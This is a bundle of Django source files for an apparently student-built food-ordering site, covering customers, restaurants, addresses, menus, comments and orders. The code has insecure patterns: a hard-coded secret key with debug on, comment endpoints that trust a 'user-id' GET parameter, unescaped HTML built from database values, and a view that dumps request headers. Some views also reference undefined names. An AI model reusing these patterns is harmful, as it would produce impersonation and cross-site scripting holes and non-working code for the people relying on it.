customer_id_list = []
user_list = User.objects.all()
customer_count = customer_list.count()
i = 0
if customer_count > 0:
print("1")
while i < customer_count:
customer_id_list = customer_id_list + [user_list[i].id]
i = i + 1
print("2")
customer_id_one = customer_id_list[0]
print("sd%d" %customer_id_one)
customer_p = User.objects.get(id=customer_id_one)
print("4")
order_list = customer_p.order_set.all()
print("5")
if order_list:
pass
else:
print("6")
rest_p = Restaurant.objects.get(id=request.GET['rest_id'])
item_p = MenuItem.objects.get(id=request.GET['menu_item_id'])
price = item_p.price
item_num = request.GET['menu_item_num']
total = price*item_num
order = Order(customer=coustomer_p ,restaurant=rest_p, item=item_p,total=total)
customer_p = Customer.objects.get(user_ptr_id=customer_id_list[0])
order_list = customer_p.order_set.all()
order = order_list[0]
item_list = order.item.all()
return render_to_response(
'menu/menu_list.html', {'menu_item_all_list':menu_item_all_list, 'rest_p':rest_p,
'order_list':order_list, 'item_list':item_list}
)
else:
return HttpResponse('The user dose not exist!')
# elif 'rest_id' in request.GET and 'menu_item_num' in request.GET and 'menu_item_id' in request.GET:
# menu_item_id = request.GET['menu_item_id']
# menu_item_num = request.GET['menu_item_num']
# return HttpResponse('The restaurant does not exist!')
# else:
# return HttpResponse('The restaurant does not exist!')
def display_menu_item(rest_id):
rest_p = Restaurant.objects.get(id=rest_id)
menu_list = rest_p.menu_set.all()
menu_count = menu_list.count()
i = 0
menu_id_list = []
while i < menu_count:
menu_id_list = menu_id_list + [menu_list[i].id]
i = i + 1
menu_category_id_list = []
for j in menu_id_list:
i = 0
menu_p = Menu.objects.get(id=j)
menu_category_list = menu_p.menucategory_set.all()
menu_category_count = menu_category_list.count()
while i < menu_category_count:
menu_category_id_list = menu_category_id_list + [menu_category_list[i].id]
i = i + 1
menu_item_id_list = []
for j in menu_category_id_list:
i = 0
menu_item_p = MenuCategory.objects.get(id=j)
menu_item_list = menu_item_p.menuitem_set.all()
menu_item_count = menu_item_list.count()
while i < menu_item_count:
menu_item_id_list = menu_item_id_list + [menu_item_list[i].id]
i = i + 1
menu_item_all_list = MenuItem.objects.filter(pk__in=menu_item_id_list)
return menu_item_all_list | Python |
from django.db import models
from django.contrib import admin
class Province(models.Model):
province = models.CharField(max_length=20)
def __unicode__(self):
return self.province
class ProvinceAdmin(admin.ModelAdmin):
search_fields = ("province",)
admin.site.register(Province, ProvinceAdmin)
class City(models.Model):
province = models.ForeignKey(Province)
city = models.CharField(max_length=20)
def __unicode__(self):
return self.city
class CityAdmin(admin.ModelAdmin):
pass
admin.site.register(City, CityAdmin)
class Zone(models.Model):
city = models.ForeignKey(City)
zone = models.CharField(max_length=20)
def __unicode__(self):
return self.zone
class ZoneAdmin(admin.ModelAdmin):
pass
admin.site.register(Zone, ZoneAdmin)
class ZoneDetail(models.Model):
zone = models.ForeignKey(Zone)
zone_detail = models.CharField(max_length=20)
def __unicode__(self):
return self.zone_detail
class ZoneDetailAdmin(admin.ModelAdmin):
pass
admin.site.register(ZoneDetail, ZoneDetailAdmin)
class Address(models.Model):
zone_detail = models.ForeignKey(ZoneDetail)
more = models.CharField(max_length=100)
def __unicode__(self):
return self.more
def get_full_address(self):
zone_detail = self.zone_detail
zone = zone_detail.zone
city = zone.city
province = city.province
return "%s %s %s %s %s"%(
province.province
,zone.city.city
,zone.zone
,zone_detail.zone_detail
,self.more)
class AddressAdmin(admin.ModelAdmin):
pass
admin.site.register(Address, AddressAdmin)
| Python |
"""
This file demonstrates writing tests using the unittest module. These will pass
when you run "manage.py test".
Replace this with more appropriate tests for your application.
"""
from django.test import TestCase
class SimpleTest(TestCase):
def test_basic_addition(self):
"""
Tests that 1 + 1 always equals 2.
"""
self.assertEqual(1 + 1, 2)
| Python |
# -*-coding:utf-8 -*-
from django.http import HttpResponse, Http404
from forfood.address.models import *
from forfood.helpers.user_helper import *
none = "None"
def get_province(request):
provinces = Province.objects.all()
rv = "province&<option></option>"
for p in provinces:
if p.province == none:
continue
rv = rv + "<option value='%d'>%s</option>"%(p.id,p.province)
return HttpResponse(rv)
def get_city(request,pid):
rv = "city&<option></option>"
try:
province = Province.objects.get(id = pid)
except:
return HttpResponse(rv)
city = City.objects.filter(province=province)
for c in city:
if c.city == none:
continue
rv = rv + "<option value='%d'>%s</option>"%(c.id,c.city)
return HttpResponse(rv)
def get_zone(request,cid):
rv = "zone&<option></option>"
try:
city = City.objects.get(id = cid)
except:
return HttpResponse(rv)
zone = Zone.objects.filter(city=city)
for z in zone:
if z.zone == none:
continue
rv = rv + "<option value='%d'>%s</option>"%(z.id,z.zone)
return HttpResponse(rv)
def get_zone_detail(request,zid):
rv = "zone_detail&<option></option>"
try:
zone = Zone.objects.filter(id = zid)
except:
return HttpResponse(rv)
zone_detail = ZoneDetail.objects.filter(zone=zone)
for zd in zone_detail:
if zd.zone_detail == none:
continue
rv = rv + "<option value='%d'>%s</option>"%(zd.id,zd.zone_detail)
return HttpResponse(rv)
def address_submit(request,zdid,more):
customer = find_customer(request.user)
if not customer:
return HttpResponse("User not find")
try:
zone_detail = ZoneDetail.objects.get(id = zdid)
except:
return HttpResponse("Address error")
try:
address = Address.objects.get(zone_detail=zone_detail, more=more)
except:
address = Address.objects.create(zone_detail=zone_detail, more=more)
customer.address = address
customer.save()
return HttpResponse(customer.get_address()) | Python |
#!/usr/bin/env python
from django.core.management import execute_manager
import imp
try:
imp.find_module('settings') # Assumed to be in the same directory.
except ImportError:
import sys
sys.stderr.write("Error: Can't find the file 'settings.py' in the directory containing %r. It appears you've customized things.\nYou'll have to run django-admin.py, passing it your settings module.\n" % __file__)
sys.exit(1)
import settings
if __name__ == "__main__":
execute_manager(settings)
| Python |
from django.db import models
from django.contrib import admin
from forfood.customer.models import Customer
from forfood.restaurant.models import Restaurant
class Star(models.Model):
customer = models.ForeignKey(Customer)
restaurant = models.ForeignKey(Restaurant)
class StarAdmin(admin.ModelAdmin):
pass
admin.site.register(Star, StarAdmin) | Python |
"""
This file demonstrates writing tests using the unittest module. These will pass
when you run "manage.py test".
Replace this with more appropriate tests for your application.
"""
from django.test import TestCase
class SimpleTest(TestCase):
def test_basic_addition(self):
"""
Tests that 1 + 1 always equals 2.
"""
self.assertEqual(1 + 1, 2)
| Python |
# Create your views here.
| Python |
from django.db import models
from django.contrib.auth.models import User
from django.contrib import admin
from django.contrib.auth.utils import get_hexdigest
from forfood.address.models import Address
url = "http://127.0.0.1:8000/"
class Customer(User):
name = models.CharField(max_length=10)
phone = models.CharField(max_length=15)
address = models.ForeignKey(Address)
def __unicode__(self):
return self.username
def get_manage_path(self):
return "/"
def make_email_code(self):
return "%s"%get_hexdigest('sha1', self.username, self.id)
def make_verification_address(self):
addr = "%sverify/%d/%s"%(url,self.id,self.make_email_code())
def activate(self,code):
c = "%s"%get_hexdigest('sha1', self.username, self.id)
print c
if code == c:
return True
else:
return False
def get_orders(self):
return self.order_set.all()
def get_address(self):
if self.address.more == "None":
return None
else:
return self.address.get_full_address()
class CustomerAdmin(admin.ModelAdmin):
pass
admin.site.register(Customer, CustomerAdmin)
| Python |
"""
This file demonstrates writing tests using the unittest module. These will pass
when you run "manage.py test".
Replace this with more appropriate tests for your application.
"""
from django.test import TestCase
class SimpleTest(TestCase):
def test_basic_addition(self):
"""
Tests that 1 + 1 always equals 2.
"""
self.assertEqual(1 + 1, 2)
| Python |
# -*-coding:utf-8 -*-
from django.http import HttpResponse, Http404
from django.http import HttpResponseRedirect
from django.template import Context
from django.template import RequestContext
from forfood.customer.models import Customer
from forfood.restaurant.models import Restaurant
from forfood.star.models import Star
from forfood.helpers.user_helper import *
from django.shortcuts import render_to_response
def verify_email(request, uid, code):
try:
customer = Customer.objects.get(id = uid)
except:
customer = None
if customer and customer.activate(code):
customer.is_active = True
customer.save()
info = "%s,感谢您的注册,邮箱已激活。开始订餐"%customer.name.encode('utf8')
return render_to_response('main/main.html',
RequestContext(request, {'info':info})
)
else:
info = "激活有误,请确认使用的激活链接是否为邮件中提供的链接。重新发送激活邮件到我的邮箱"
return render_to_response('main/main.html',
RequestContext(request, {'info':info})
)
def customer_star_restaurant(request, rid):
customer = find_customer(request.user)
if not customer:
#do something
print "no customer"
raise Http404
try:
restaurant = Restaurant.objects.get(id = rid)
except:
restaurant = None
if not restaurant:
#do something
print "no restaurant"
raise Http404
try:
star = customer.star_set.get(restaurant = restaurant)
except:
star = None
if star:
star.delete()
else:
star = Star.objects.create(customer=customer, restaurant=restaurant)
raise Http404 | Python |
from forfood.customer.models import Customer
from forfood.restaurant.models import Restaurant
def find_customer(user):
try:
customer = Customer.objects.get(username = user.username)
except:
customer = None
pass
return customer
def find_restaurant(user):
try:
restaurant = Restaurant.objects.get(username = user.username)
except:
restaurant = None
pass
return restaurant
def find_restaurant_by_id(id):
try:
restaurant = Restaurant.objects.get(id = id)
except:
restaurant = None
pass
return restaurant
def is_customer(user):
try:
customer = Customer.objects.get(username = user.username)
except:
return False
return True
def is_restaurant(user):
try:
restaurant = Restaurant.objects.get(username = user.username)
except:
return False
return True
def get_manage_page(user):
return "/" | Python |
#!/usr/bin/env python
from django.core.management import execute_manager
import imp
try:
imp.find_module('settings') # Assumed to be in the same directory.
except ImportError:
import sys
sys.stderr.write("Error: Can't find the file 'settings.py' in the directory containing %r. It appears you've customized things.\nYou'll have to run django-admin.py, passing it your settings module.\n" % __file__)
sys.exit(1)
import settings
if __name__ == "__main__":
execute_manager(settings)
| Python |
from django.conf.urls.defaults import patterns, include, url
import os.path
# Uncomment the next two lines to enable the admin:
from django.contrib import admin
admin.autodiscover()
site_media = os.path.join(
os.path.dirname(__file__), 'site_media'
)
urlpatterns = patterns('',
# Examples:
# url(r'^$', 'forfood.views.home', name='home'),
# url(r'^forfood/', include('forfood.foo.urls')),
url(r'^$', 'main.views.main_page', name='home'),
url(r'^login/$', 'main.views.login_page'),
#url(r'^login/$', 'django.contrib.auth.views.login', name='forfood-login'),
url(r'^logout/$', 'main.views.logout_page'),
url(r'^register/$', 'main.views.register_page'),
url(r'^verify_email/(?P<uid>\d+)/(?P<code>.*)/$', 'customer.views.verify_email'),
url(r'^menu/$', 'menu.views.menu_page', name='forfood_menu'),
url(r'^order/$', 'order.views.orders_page', name='forfood_orders_page'),
url(r'^create_order/$', 'order.views.create_order', name='forfood_ceate_order'),
url(r'^order/(?P<oid>\d+)/$', 'order.views.order_page', name='forfood_order_page'),
url(r'^order/(?P<oid>\d+)/change_status/$', 'order.views.change_order_status'),
url(r'^order/(?P<oid>\d+)/undo_change_status/$', 'order.views.undo_change_order_status'),
#url(r'^customer/(\d+)/$', 'customer.views.customer_page'),
url(r'^customer/star/(?P<rid>\d+)/$', 'customer.views.customer_star_restaurant'),
url(r'^restaurant/$', 'restaurant.views.restaurant_page'),
url(r'^restaurant/(?P<uid>\d+)/$', 'restaurant.views.restaurant_page'),
url(r'^restaurant_manage/$', 'restaurant.views.restaurant_manage_page'),
url(r'^restaurant_manage/menu/$', 'restaurant.views.restaurant_manage_menu_page'),
url(r'^restaurant_manage/order/$', 'restaurant.views.restaurant_manage_order_page'),
url(r'^restaurant_manage/update/$', 'restaurant.views.restaurant_update'),
url(r'^display_meta/$', 'restaurant.views.display_meta'),
url(r'^address/get_province/$', 'address.views.get_province'),
url(r'^address/get_city/(?P<pid>\d+)/$', 'address.views.get_city'),
url(r'^address/get_zone/(?P<cid>\d+)/$', 'address.views.get_zone'),
url(r'^address/get_zone_detail/(?P<zid>\d+)/$', 'address.views.get_zone_detail'),
url(r'^address/submit/(?P<zdid>\d+)/(?P<more>\w+)/$', 'address.views.address_submit'),
url(r'^administrator_comment/$', 'comment.views.administrator_comment_page'),
#url(r'^customer/(\d+)/$', 'customer.views.customer_page'),
# Uncomment the admin/doc line below to enable admin documentation:
# url(r'^admin/doc/', include('django.contrib.admindocs.urls')),
# Uncomment the next line to enable the admin:
url(r'^admin/', include(admin.site.urls)),
url(r'^site_media/(?P<path>.*)$', 'django.views.static.serve', {'document_root': site_media }),
)
| Python |
# Django settings for forfood project.
DEBUG = True
TEMPLATE_DEBUG = DEBUG
ADMINS = (
# ('Your Name', 'your_email@example.com'),
)
MANAGERS = ADMINS
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3', # Add 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'.
'NAME': 'forfood.db', # Or path to database file if using sqlite3.
'USER': '', # Not used with sqlite3.
'PASSWORD': '', # Not used with sqlite3.
'HOST': '', # Set to empty string for localhost. Not used with sqlite3.
'PORT': '', # Set to empty string for default. Not used with sqlite3.
}
}
# Local time zone for this installation. Choices can be found here:
# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name
# although not all choices may be available on all operating systems.
# On Unix systems, a value of None will cause Django to use the same
# timezone as the operating system.
# If running in a Windows environment this must be set to the same as your
# system time zone.
TIME_ZONE = 'Asia/Shanghai'
# Language code for this installation. All choices can be found here:
# http://www.i18nguy.com/unicode/language-identifiers.html
LANGUAGE_CODE = 'zh-cn'
SITE_ID = 1
# If you set this to False, Django will make some optimizations so as not
# to load the internationalization machinery.
USE_I18N = True
# If you set this to False, Django will not format dates, numbers and
# calendars according to the current locale
USE_L10N = True
# Absolute filesystem path to the directory that will hold user-uploaded files.
# Example: "/home/media/media.lawrence.com/media/"
MEDIA_ROOT = ''
# URL that handles the media served from MEDIA_ROOT. Make sure to use a
# trailing slash.
# Examples: "http://media.lawrence.com/media/", "http://example.com/media/"
MEDIA_URL = ''
# Absolute path to the directory static files should be collected to.
# Don't put anything in this directory yourself; store your static files
# in apps' "static/" subdirectories and in STATICFILES_DIRS.
# Example: "/home/media/media.lawrence.com/static/"
STATIC_ROOT = ''
# URL prefix for static files.
# Example: "http://media.lawrence.com/static/"
STATIC_URL = '/static/'
# URL prefix for admin static files -- CSS, JavaScript and images.
# Make sure to use a trailing slash.
# Examples: "http://foo.com/static/admin/", "/static/admin/".
#ADMIN_MEDIA_PREFIX = '/static/admin/'
# Additional locations of static files
STATICFILES_DIRS = (
# Put strings here, like "/home/html/static" or "C:/www/django/static".
# Always use forward slashes, even on Windows.
# Don't forget to use absolute paths, not relative paths.
)
# List of finder classes that know how to find static files in
# various locations.
STATICFILES_FINDERS = (
'django.contrib.staticfiles.finders.FileSystemFinder',
'django.contrib.staticfiles.finders.AppDirectoriesFinder',
# 'django.contrib.staticfiles.finders.DefaultStorageFinder',
)
# Make this unique, and don't share it with anybody.
SECRET_KEY = 'gkueda)de8pu$mcd2xh^7fi4)$zr@54b=s)6)%y5p-741t_^du'
# List of callables that know how to import templates from various sources.
TEMPLATE_LOADERS = (
'django.template.loaders.filesystem.Loader',
'django.template.loaders.app_directories.Loader',
# 'django.template.loaders.eggs.Loader',
)
MIDDLEWARE_CLASSES = (
'django.middleware.common.CommonMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.locale.LocaleMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
)
ROOT_URLCONF = 'forfood.urls'
import os.path
TEMPLATE_DIRS = (
# Put strings here, like "/home/html/django_templates" or "C:/www/django/templates".
# Always use forward slashes, even on Windows.
# Don't forget to use absolute paths, not relative paths.
os.path.join(os.path.dirname(__file__), 'templates').replace('\\', '/'),
)
INSTALLED_APPS = (
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.sites',
'django.contrib.messages',
'django.contrib.staticfiles',
'forfood.main',
'forfood.customer',
'forfood.restaurant',
'forfood.address',
'forfood.menu',
'forfood.order',
'forfood.star',
'forfood.comment',
# Uncomment the next line to enable the admin:
'django.contrib.admin',
# Uncomment the next line to enable admin documentation:
# 'django.contrib.admindocs',
)
# A sample logging configuration. The only tangible logging
# performed by this configuration is to send an email to
# the site admins on every HTTP 500 error.
# See http://docs.djangoproject.com/en/dev/topics/logging for
# more details on how to customize your logging configuration.
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'handlers': {
'mail_admins': {
'level': 'ERROR',
'class': 'django.utils.log.AdminEmailHandler'
}
},
'loggers': {
'django.request': {
'handlers': ['mail_admins'],
'level': 'ERROR',
'propagate': True,
},
}
}
| Python |
from django.db import models
from django.contrib import admin
from forfood.restaurant.models import Restaurant
from forfood.customer.models import Customer
class Comment(models.Model):
comment_content = models.CharField(max_length = 200)
datestamp = models.DateTimeField()
replied_comment_id = models.IntegerField(default=-1)
restaurant = models.ForeignKey(Restaurant, blank=True,null=True)
customer = models.ForeignKey(Customer)
def __unicode__(self):
return self.comment_content
class CommentAdmin(admin.ModelAdmin):
pass
admin.site.register(Comment, CommentAdmin) | Python |
"""
This file demonstrates writing tests using the unittest module. These will pass
when you run "manage.py test".
Replace this with more appropriate tests for your application.
"""
from django.test import TestCase
class SimpleTest(TestCase):
def test_basic_addition(self):
"""
Tests that 1 + 1 always equals 2.
"""
self.assertEqual(1 + 1, 2)
| Python |
# Create your views here.
from django.template import RequestContext
from django.http import HttpResponseRedirect
from django.shortcuts import render_to_response
from django.http import HttpResponse, Http404
from forfood.restaurant.models import Restaurant
from forfood.helpers.user_helper import *
from forfood.restaurant.forms import *
from forfood.menu.models import *
from forfood.comment.models import *
from forfood.customer.models import *
import datetime
import re
def administrator_comment_page(request):
print("holy shit")
customer = find_customer(request.user)
print("xx")
restaurant = find_restaurant(request.user)
customers=Customer.objects.all()
if 'user-comment-content' in request.GET and request.GET['user-comment-content'] \
and 'user-id' in request.GET and request.GET['user-id']:
comment_content = request.GET['user-comment-content']
customer = Customer.objects.get(id=request.GET['user-id'])
now = datetime.datetime.now()
print("11")
Comment.objects.create(comment_content=comment_content, datestamp=now,
replied_comment_id=-1,customer=customer)
print("12")
if 'user-comment-reply-content' in request.GET and request.GET['user-comment-reply-content'] \
and 'user-id' in request.GET and request.GET['user-id'] and 'replied-comment-id' in request.GET \
and request.GET['replied-comment-id']:
handle_reply_comment(request)
comments = Comment.objects.filter(restaurant=None).order_by('-datestamp')
comment_count = comments.count
return render_to_response('comment/administrator_comment.html', RequestContext(request, locals()))
def handle_reply_comment(request):
reply_comment_content = request.GET['user-comment-reply-content']
comment_id = request.GET['replied-comment-id']
customer = Customer.objects.get(id=request.GET['user-id'])
now = datetime.datetime.now()
if(re.search(r'//#', reply_comment_content)):
comment=Comment.objects.get(id=comment_id)
if (comment):
index = reply_comment_content.find('//#', 0)
i=0
reply_comment=''
while i < index:
reply_comment=reply_comment+reply_comment_content[i]
i=i+1
Comment.objects.create(comment_content=reply_comment, datestamp=now,
replied_comment_id=comment_id, restaurant=None,customer=customer)
else:
Comment.objects.create(comment_content=reply_comment_content, datestamp=now,
replied_comment_id=-1, restaurant=None,customer=customer)
else:
Comment.objects.create(comment_content=comment_content, datestamp=now,
replied_comment_id=-1, restaurant=None,customer=customer) | Python |
# -*-coding:utf-8 -*-
import re
from django import forms
from django.contrib.auth.models import User
from django.core.exceptions import ObjectDoesNotExist
from forfood.customer.models import *
from django.contrib.auth import authenticate
class LoginForm(forms.Form):
email = forms.EmailField(label='Email')
password = forms.CharField(label='密码', widget=forms.PasswordInput())
def get_user(self):
return authenticate(username=self.cleaned_data['email'],
password=self.cleaned_data['password'])
def clean_email(self):
email = self.data['email']
try:
User.objects.get(email=email)
except ObjectDoesNotExist:
raise forms.ValidationError('该Email尚未注册.')
return email
class RegistrationForm(forms.Form):
email = forms.EmailField(label='Email')
name = forms.CharField(label='姓名', max_length=30)
password1 = forms.CharField(
label='密码',
widget=forms.PasswordInput()
)
password2 = forms.CharField(
label='确认密码',
widget=forms.PasswordInput()
)
def clean_password2(self):
if 'password1' in self.data:
password1 = self.data['password1']
password2 = self.data['password2']
if password1 == password2:
return password2
raise forms.ValidationError('两次输入的密码不一致.')
def clean_email(self):
email = self.data['email']
try:
User.objects.get(email=email)
except ObjectDoesNotExist:
return email
raise forms.ValidationError('该Email已注册.')
def save(self):
customer = Customer.objects.create(name=self.cleaned_data['name'],
username=self.cleaned_data['email'],
email=self.cleaned_data['email'],
password=self.cleaned_data['password1'],
address=Address.objects.get(more='None'),
is_active=False)
customer.set_password(self.cleaned_data['password1'])
customer.save()
return customer
| Python |
from django.db import models
# Create your models here.
| Python |
"""
This file demonstrates writing tests using the unittest module. These will pass
when you run "manage.py test".
Replace this with more appropriate tests for your application.
"""
from django.test import TestCase
class SimpleTest(TestCase):
def test_basic_addition(self):
"""
Tests that 1 + 1 always equals 2.
"""
self.assertEqual(1 + 1, 2)
| Python |
from django.http import HttpResponse
from django.template import Context
from django.template.loader import get_template
from django.http import HttpResponse, Http404
from django.contrib.auth.models import User
from django.template import RequestContext
from django.http import HttpResponseRedirect
#from django.contrib.auth.views import login
from django.contrib.auth import login
from django.contrib.auth import logout
from django.shortcuts import render_to_response
from forfood.restaurant.models import *
from forfood.main.forms import *
from forfood.helpers.user_helper import *
def main_page(request):
restaurant_list = Restaurant.objects.order_by('-last_update')
customer = find_customer(request.user)
restaurant = find_restaurant(request.user)
for r in restaurant_list:
r.is_loved_by(customer)
return render_to_response(
'main/main.html', RequestContext(request, locals())
)
def login_page(request):
if request.method == 'POST':
form = LoginForm(request.POST)
if form.is_valid():
user = form.get_user()
login(request, user)
if request.session.test_cookie_worked():
request.session.delete_test_cookie()
if find_restaurant(request.user):
return HttpResponseRedirect('/restaurant_manage/')
return HttpResponseRedirect('/')
else:
form = LoginForm()
return render_to_response(
"registration/login.html",
RequestContext(request,{'form': form})
)
def logout_page(request):
logout(request)
return HttpResponseRedirect('/')
def register_page(request):
if request.method == 'POST':
form = RegistrationForm(request.POST)
if form.is_valid():
new_user = form.save()
return HttpResponseRedirect('/login')
else:
form = RegistrationForm()
return render_to_response(
"registration/register.html",
RequestContext(request,{'form': form})
)
| Python |
# -*-coding:utf-8 -*-
from django import forms
class AddMenuCategoryForm(forms.Form):
name = forms.CharField(label='类别名', max_length=30)
class EditMenuCategoryForm(forms.Form):
old_category = forms.TypedChoiceField(label='旧类别名',choices=())
new_category = forms.CharField(label='新类别名', max_length=30)
def set_choices(self, value):
self.fields['old_category']._set_choices(value)
class AddMenuItemForm(forms.Form):
category = forms.ChoiceField(label='类别',)
name = forms.CharField(label='菜品名', max_length=30)
price = forms.IntegerField(label='价格',)
description = forms.CharField(label='描述', max_length=30,required=False)
def set_choices(self, value):
self.fields['category']._set_choices(value)
class EditMenuItemForm(forms.Form):
category = forms.ChoiceField(label='类别',)
old = forms.ChoiceField(label='原菜品名',)
new = forms.CharField(label='新菜品名', max_length=30)
price = forms.IntegerField(label='价格',)
description = forms.CharField(label='描述', max_length=30,required=False)
def set_choices(self, value):
self.fields['category']._set_choices(value) | Python |
from django.db import models
from django.contrib.auth.models import User
from django.contrib import admin
from forfood.address.models import Address
from time import time
class Restaurant(User):
name = models.CharField(max_length=100)
phone = models.CharField(max_length=15)
address = models.ForeignKey(Address)
description = models.TextField()
last_update = models.IntegerField()
loved_by_current = False
#hot = models.IntegerField(default=3)
def __unicode__(self):
return u'%s' % (self.name)
def get_manage_path(self):
return "/restaurant_manage/"
def is_open(self):
current = int(time())
last = self.last_update
if current-last >= 10:
return False
else:
return True
def is_loved_by(self, customer):
if customer:
try:
star = self.star_set.get(customer=customer)
if star:
self.loved_by_current = True
return True
except:
self.loved_by_current = False
return False
self.loved_by_current = False
return False
class RestaurantAdmin(admin.ModelAdmin):
pass
admin.site.register(Restaurant, RestaurantAdmin)
| Python |
"""
This file demonstrates writing tests using the unittest module. These will pass
when you run "manage.py test".
Replace this with more appropriate tests for your application.
"""
from django.test import TestCase
class SimpleTest(TestCase):
def test_basic_addition(self):
"""
Tests that 1 + 1 always equals 2.
"""
self.assertEqual(1 + 1, 2)
| Python |
from django.template import RequestContext
from django.http import HttpResponseRedirect
from django.shortcuts import render_to_response
from django.http import HttpResponse, Http404
from forfood.restaurant.models import Restaurant
from forfood.helpers.user_helper import *
from forfood.restaurant.forms import *
from forfood.menu.models import *
from forfood.comment.models import *
from forfood.customer.models import *
import datetime
import re
def common_variables(restaurant):
menus = restaurant.menu_set.all()
#for i in menus:
# if i.in_use:
# menu = i
forms = {'form_ac':AddMenuCategoryForm(),
'form_ec':EditMenuCategoryForm(),
'form_ai':AddMenuItemForm(),
'form_ei':EditMenuItemForm(),}
if not menus:
menu = Menu.objects.create(menu_name="%s's menu"%(restaurant.username), restaurant=restaurant)
else:
menu = menus[0]
categories = menu.menucategory_set.all()
value = []
for i in categories:
value.append([i.name,i.name])
forms['form_ec'].set_choices(value)
forms['form_ai'].set_choices(value)
forms['form_ei'].set_choices(value)
orders = restaurant.order_set.filter(status__gt = 0)
return {'restaurant':restaurant,
'menu':menu,
'categories':categories,
'form_ac':forms['form_ac'],
'form_ec':forms['form_ec'],
'form_ai':forms['form_ai'],
'form_ei':forms['form_ei'],
'orders':orders
}
def handle_post(request, variables):
menu = variables['menu']
categories = variables['categories']
category_choices = []
for i in categories:
category_choices.append([i.name,i.name])
if request.POST.get('form_ac', ''):
form = AddMenuCategoryForm(request.POST)
if form.is_valid():
###
mc = MenuCategory(menu=menu, name=form.cleaned_data['name'])
menu.menucategory_set.add(mc)
return "add c successfully"
return form.errors
if request.POST.get('form_ec', ''):
form = EditMenuCategoryForm(request.POST)
form.set_choices(category_choices)
if form.is_valid():
try:
print form.cleaned_data['old_category']
print form.cleaned_data['new_category']
mc = MenuCategory.objects.get(name = form.cleaned_data['old_category'])
mc.name = form.cleaned_data['new_category']
print mc.name
mc.save()
except:
return "object not find"
return "edit c successfully"
return form.errors
if request.POST.get('form_ai', ''):
form = AddMenuItemForm(request.POST)
form.set_choices(category_choices)
if form.is_valid():
name = form.cleaned_data['name']
category = MenuCategory.objects.get(name = form.cleaned_data['category'])
price = form.cleaned_data['price']
description = form.cleaned_data['description']
mi = MenuItem.objects.create(name = name,
category = category,
price = price,
description = description)
mi.save()
return "add i successfully"
return form.errors
if request.POST.get('form_ei', ''):
form = EditMenuItemForm(request.POST)
form.set_choices(category_choices)
if form.is_valid():
###
return "edit i successfully"
return form.errors
return "nothing posted"
def restaurant_base_process(request):
restaurant = find_restaurant(request.user)
if not (restaurant):
raise Http404
variables = common_variables(restaurant)
if request.method == 'POST':
errors = handle_post(request, variables)
print errors
variables = common_variables(restaurant)
variables['errors'] = errors
print variables['errors']
return variables
def restaurant_manage_page(request):
variables = restaurant_base_process(request)
return render_to_response('restaurant_manage/main.html', RequestContext(request,variables))
def restaurant_manage_menu_page(request):
variables = restaurant_base_process(request)
return render_to_response('restaurant_manage/menu.html', RequestContext(request,variables))
def restaurant_manage_order_page(request):
variables = restaurant_base_process(request)
return render_to_response('restaurant_manage/order.html', RequestContext(request,variables))
from time import time
def restaurant_update(request):
restaurant = find_restaurant(request.user)
if restaurant:
current = int(time())
restaurant.last_update = current
restaurant.save()
else:
print "restaurant not find"
raise Http404
#-------------------------------------------------------------------------------------------------------------
def restaurant_page(request, uid):
customer = find_customer(request.user)
restaurant = find_restaurant(request.user)
try:
restaurant_v = Restaurant.objects.get(id=uid)
except:
raise Http404
restaurant_v.is_loved_by(customer)
menus = restaurant_v.menu_set.all()
if not menus:
menu = Menu.objects.create(menu_name="%s's menu"%(restaurant_v.username), restaurant=restaurant_v)
else:
menu = menus[0]
customers=Customer.objects.all()
if 'user-comment-content' in request.GET and request.GET['user-comment-content'] \
and 'user-id' in request.GET and request.GET['user-id']:
comment_content = request.GET['user-comment-content']
customer = Customer.objects.get(id=request.GET['user-id'])
now = datetime.datetime.now()
Comment.objects.create(comment_content=comment_content, datestamp=now,
replied_comment_id=-1, restaurant=restaurant_v,customer=customer)
if 'user-comment-reply-content' in request.GET and request.GET['user-comment-reply-content'] \
and 'user-id' in request.GET and request.GET['user-id'] and 'replied-comment-id' in request.GET \
and request.GET['replied-comment-id']:
handle_reply_comment(request, restaurant_v)
comments = restaurant_v.comment_set.all().order_by('-datestamp')
comment_count = comments.count
categories = menu.menucategory_set.all()
return render_to_response('restaurant/main.html', RequestContext(request,locals()))
def handle_reply_comment(request, restaurant_v):
reply_comment_content = request.GET['user-comment-reply-content']
comment_id = request.GET['replied-comment-id']
customer = Customer.objects.get(id=request.GET['user-id'])
now = datetime.datetime.now()
if(re.search(r'//#', reply_comment_content)):
comment=Comment.objects.get(id=comment_id)
if (comment):
index = reply_comment_content.find('//#', 0)
i=0
reply_comment=''
while i < index:
reply_comment=reply_comment+reply_comment_content[i]
i=i+1
Comment.objects.create(comment_content=reply_comment, datestamp=now,
replied_comment_id=comment_id, restaurant=restaurant_v,customer=customer)
else:
Comment.objects.create(comment_content=reply_comment_content, datestamp=now,
replied_comment_id=-1, restaurant=restaurant_v,customer=customer)
else:
Comment.objects.create(comment_content=comment_content, datestamp=now,
replied_comment_id=-1, restaurant=restaurant_v,customer=customer)
#-------------------------------------------------------------------------------------------------------------
def display_meta(request):
values = request.META.items()
values.sort()
html = []
for k, v in values:
html.append('<tr><td>%s</td><td>%s</td></tr>' % (k, v))
return HttpResponse('<table>%s</table>' % '\n'.join(html)) | Python |
# -*-coding:utf-8 -*-
from django.db import models
from django.contrib import admin
from forfood.customer.models import Customer
from forfood.restaurant.models import Restaurant
from forfood.menu.models import MenuItem
from time import time
from time import ctime
from time import strftime
from time import localtime
class Order(models.Model):
customer = models.ForeignKey(Customer)
restaurant = models.ForeignKey(Restaurant)
status = models.IntegerField(default=0)
create_time = models.IntegerField(default=int(time()))
c_confirm_time = models.IntegerField(default=int(time()))
r_confirm_time = models.IntegerField(default=int(time()))
send_time = models.IntegerField(default=int(time()))
complete_time = models.IntegerField(default=int(time()))
def __unicode__(self):
return u'%s'%self.id
def get_items(self):
return self.orderitem_set.all()
def get_count(self):
count = 0
for i in self.get_items():
count = count + i.count
return count
def get_total(self):
total = 0
